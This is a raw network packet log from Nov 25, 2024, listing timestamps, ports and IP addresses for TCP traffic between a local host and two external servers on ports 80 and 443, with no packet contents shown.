Nov 25, 2024 12:07:24.676059008 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.676105022 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.676992893 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.677100897 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.677252054 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.678049088 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.678292990 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.678333998 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.679102898 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.679234982 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.679281950 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.680185080 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.680285931 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.680329084 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.681246996 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.681440115 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.681530952 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.682287931 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.682527065 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.682678938 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.683373928 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.683470011 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.683585882 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.684438944 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.684552908 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.684595108 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.685513973 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.685621977 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.685717106 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.686542034 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.686630011 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.686680079 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.687611103 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.687758923 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.687813044 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.688668013 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.688798904 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.688848972 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.689743042 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.689810991 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.689941883 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.690756083 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.699731112 CET	443	49724	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.699811935 CET	443	49724	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.699865103 CET	49724	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.700050116 CET	49724	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.700063944 CET	443	49724	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.700098038 CET	49724	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.700103045 CET	443	49724	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.702682018 CET	49731	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.702698946 CET	443	49731	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.702881098 CET	49731	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.703033924 CET	49731	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.703049898 CET	443	49731	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.736846924 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.738928080 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.739001036 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.739348888 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.739373922 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.739388943 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.739415884 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.739420891 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.744501114 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.744524956 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.744587898 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.744776964 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.744786978 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.754837036 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.778655052 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.778815031 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.778903008 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.779226065 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.779236078 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.779263973 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.779268980 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.781924963 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.781949997 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.782111883 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.782250881 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.782264948 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.836283922 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.836400032 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.836633921 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.836731911 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.836918116 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.836966991 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.837831974 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.838057041 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.838110924 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.838886023 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.838932037 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.838973999 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.839936972 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.840078115 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.840142012 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.840991974 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.841113091 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.841165066 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.842077017 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.842137098 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.842257977 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.843126059 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.843244076 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.843286037 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.844193935 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.844273090 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.844315052 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.845103025 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.845283031 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.845388889 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.845434904 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.846338987 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.846488953 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.847428083 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.847492933 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.847512007 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.848258972 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.848537922 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.848613024 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.848931074 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.849548101 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.849672079 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.849741936 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.850682974 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.850795984 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.850950956 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.851658106 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.851778030 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.851821899 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.852735043 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.852873087 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.852921009 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.853815079 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.853914976 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.854012966 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.854886055 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.855020046 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.855079889 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.855941057 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.856057882 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.856121063 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.857011080 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.857129097 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.857264996 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.858061075 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.858134985 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.858270884 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.859106064 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.859241009 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.859306097 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.860194921 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.860333920 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.860404968 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.861283064 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.861356020 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.861399889 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.862341881 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.862402916 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.862519026 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.863540888 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.863603115 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.863647938 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.864454031 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.864588022 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.865031004 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.865632057 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.865675926 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.865731955 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.866638899 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.866700888 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.867687941 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.867743969 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.867831945 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.868478060 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.868751049 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.868863106 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.869796038 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.869853020 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.869858980 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.870862961 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.870990992 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.871045113 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.871927023 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.872042894 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.872217894 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.872989893 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.873104095 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.873248100 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.873991966 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.874049902 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.874155998 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.874197960 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.875118017 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.875242949 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.876199961 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.876252890 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.876313925 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.876383066 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.877268076 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.877377987 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.878045082 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.878315926 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.878452063 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.878499985 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.879425049 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.879549980 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.879597902 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.880492926 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.880630016 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.880700111 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.881570101 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.881731033 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.881783962 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.882682085 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.882878065 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.882958889 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.883749008 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.883882999 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.883929014 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.884720087 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.884820938 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.884866953 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.885781050 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.885924101 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.885981083 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.886852980 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.886929989 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.887933016 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.887980938 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.888025999 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.888998985 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.889111996 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.889159918 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.890101910 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.890187025 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.890233994 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.891176939 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.891262054 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.891308069 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.892122984 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.939922094 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.968027115 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.037467957 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.037538052 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.037585020 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.037728071 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.037885904 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.037930012 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.038599968 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.038820028 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.038963079 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.039012909 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.039886951 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.039987087 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.040602922 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.040920973 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.041037083 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.041079998 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.042077065 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.042139053 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.042188883 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.043098927 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.043199062 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.043241978 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.044123888 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.044245958 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.044290066 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.045188904 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.045344114 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.045399904 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.046256065 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.046370983 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.046416998 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.047331095 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.047451973 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.047523975 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.048386097 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.048526049 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.048572063 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.049458981 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.049566031 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.049623013 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.050512075 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.050689936 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.050740957 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.051592112 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.051743984 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.051791906 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.052212000 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.052633047 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.052769899 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.053739071 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.053798914 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.053841114 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.055072069 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.055242062 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.055291891 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.056394100 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.056540966 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.056586981 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.057599068 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.057733059 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.057785988 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.058599949 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.058693886 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.058739901 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.059606075 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.059715986 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.059772015 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.060328007 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.060420990 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.060471058 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.061387062 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.061441898 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.061486959 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.062366009 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.062511921 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.062614918 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.063333035 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.063452005 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.063551903 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.064361095 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.064508915 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.064554930 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.065572023 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.065598011 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.066505909 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.066559076 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.066679001 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.067651033 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.067785978 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.067835093 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.068636894 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.068753958 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.068846941 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.069710970 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.069825888 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.069873095 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.070868969 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.071018934 CET	80	49723	185.215.113.16	192.168.2.5
